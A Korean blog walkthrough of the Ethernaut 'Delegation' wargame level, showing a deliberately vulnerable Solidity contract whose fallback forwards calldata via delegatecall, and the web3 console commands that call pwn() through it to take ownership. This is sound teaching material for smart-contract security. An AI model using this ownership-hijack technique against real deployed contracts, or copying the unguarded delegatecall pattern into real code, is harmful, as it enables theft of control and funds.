6번째 문제 Delegation(위임)입니다. 역시 ownership을 탈취가 이번 레벨 클리어 조건입니다.
힌트를 살펴 봅시다.
먼저 Delegation call에 관한 문제라고 친절하게 알려주네요. solidity 문서의 delegatecall을 살펴보라고 합니다. Fallback과 Method ids도 도움이 된다고 하는데 method ids는 가 뭐였지? 생각이 안나네요. 공부하다보면 다시 생각 나겠죠 ㅎㅎ
자 인스턴스 생성하시고 코드를 한번 살펴 봅시다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Delegate { //Delegate 컨트렉트 정의
address public owner;
constructor(address _owner) public {//생성자
owner = _owner;//오너 설정
}
function pwn() public {//응? pwn() 수행하면 오너가 되는데요?? 뭐지??
owner = msg.sender;
}
}
contract Delegation {//Delegation 컨트렉트 정의
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {//생성자
delegate = Delegate(_delegateAddress);//delegate 컨트랙트 호출
owner = msg.sender;//오너 설정
}
fallback() external {//fallback 함수
(bool result,) = address(delegate).delegatecall(msg.data);//delegatecall 수행
if (result) {
this;
}
}
}
이번 코드 안에는 delegate와 delegation 이렇게 두 개의 컨트렉트가 있습니다. delegation컨트렉트의 fallback 함수에서 delegate 컨트렉트의 함수를 실행할 수 있도록 해두었네요. 자 그럼 delegatecall에 대해 조금 더 정확하게 알아보도록 하겠습니다.
Solidity 문서에서 degatecall이라고 검색해봤습니다.
https://solidity-kr.readthedocs.io/ko/latest/types.html?highlight=delegatecall#address-members
deletegatecall에 대한 설명을 봅시다.
한국말로 번역하자면(ㅋㅋ) delegatecall을 사용하면 다른 컨트랙트가 가진 함수를 마치 내것인 것 처럼 사용할 수 있다는 내용이네요.
그럼 제가 fallback함수를 일으켜 delegatecall을 통해 delegate컨트렉트의 pwn()을 수행하면 오너가 저로 바뀌겠네요. 아래 그림을 보시면 조금 더 이해하기 편하실 거에요.
자 그럼 fallback을 일으켜 보도록하죠. 다시 한번 fallback 코드를 보시죠
fallback() external {//fallback 함수
(bool result,) = address(delegate).delegatecall(msg.data);//delegatecall 수행
//fallback 실행시 data를 delegatecall 형식에 맞게 보내주어야 한다.
if (result) {
this;
}
}
delegatecall에는 실행시킬 method id를 변수로 넣어야 합니다. 즉 fallback 실행시 delegatecall로 실행시킬 method id를 데이터로 함께 보내주어야 합니다. (힌트에서 나온 method ids가 method IDs 이었네요 -_- 난 또 무슨 약어인줄 알고...)
fallback을 어떻게 일으키는지는 아시죠? 해당 컨트렉트 주소로 이더를 보내면 됩니다. 예전에는 가능했던 것 같은데 현재 메타마스크에서는 데이터를 함께 보낼 수 있는 기능을 찾을 수가 없습니다. 따라서 콘솔을 이용해 fallback을 일으켜봅시다. 우선 help() 를 실행해봅시다.
sendTransaction이라는 함수를 제공하고 있네요. web3 기반으로 하고 있다고 하니 web3의 옵션과 동일하겠지요?
https://web3js.readthedocs.io/en/v1.2.11/web3-eth.html#sendtransaction
옵션으로는 from(발신자), to(수신자), data이 3가지만 있으면 되겠네요. 발신자는 player 자신이 되구요. 수신자는 delegation 컨트랙트 인스턴스 주소가 되겠네요. 그리고 data에는 pwn 함수의 method id를 넣으면 될 것 같습니다.
method id는 4바이트 코드로 함수 형식을 keccak256 해쉬한 값의 첫 4 바이트입니다. pwn()의 method id를 확인하기 위해 아래를 콘솔에서 수행해 봅시다.
web3.utils.keccak("pwn()")
pwn() 이란 함수의 method id는 0xdd365b8b네요.
다른 방식으로 확인할 수도 있습니다. 아래를 콘솔에 입력해봅시다.
web3.eth.abi.encodeFunctionSignature("pwn()")
동일한 결과를 확인할 수 있습니다.
*** 참고: method id에 자세한 설명은 아래 링크를 참고하세요.
자 이제 fallback 함수가 실행되도록 해 봅시다.
await sendTransaction({from:player, to:contract.address, data:web3.eth.abi.encodeFunctionSignature("pwn()")})
or
await sendTransaction({from:player, to:contract.address, data:"0xdd365b8b"})
그리고 오너가 자신으로 변경되었는지 확인해 봅시다.
await contract.owner()
자 정상적으로(?) 오너가 자신으로 바뀐 것을 확인하실 수 있습니다. 완료했습니다. 자 이제 제출하고 또 칭찬받으세요 ㅎㅎㅎ
오늘의 교훈!은 사실 solidity 문서에 잘 나와 있습니다.
call, delegatecall, callcode는 왠만하면 사용하지 말자!!
레벨 7에서 봐요!
안녕~!
'Smart contract > Ethernaut 문제풀이' 카테고리의 다른 글
Ethernaut 문제풀이 #9 - King (0) | 2022.02.28 |
---|---|
Ethernaut 문제풀이 #7 - Force (0) | 2022.02.28 |
Ethernaut 문제풀이 #5 - Token (1) | 2022.02.28 |
Ethernaut 문제풀이 #4 - Telephone (0) | 2022.02.28 |
Ethernaut 문제풀이 #3 - Coin Flip (0) | 2022.02.28 |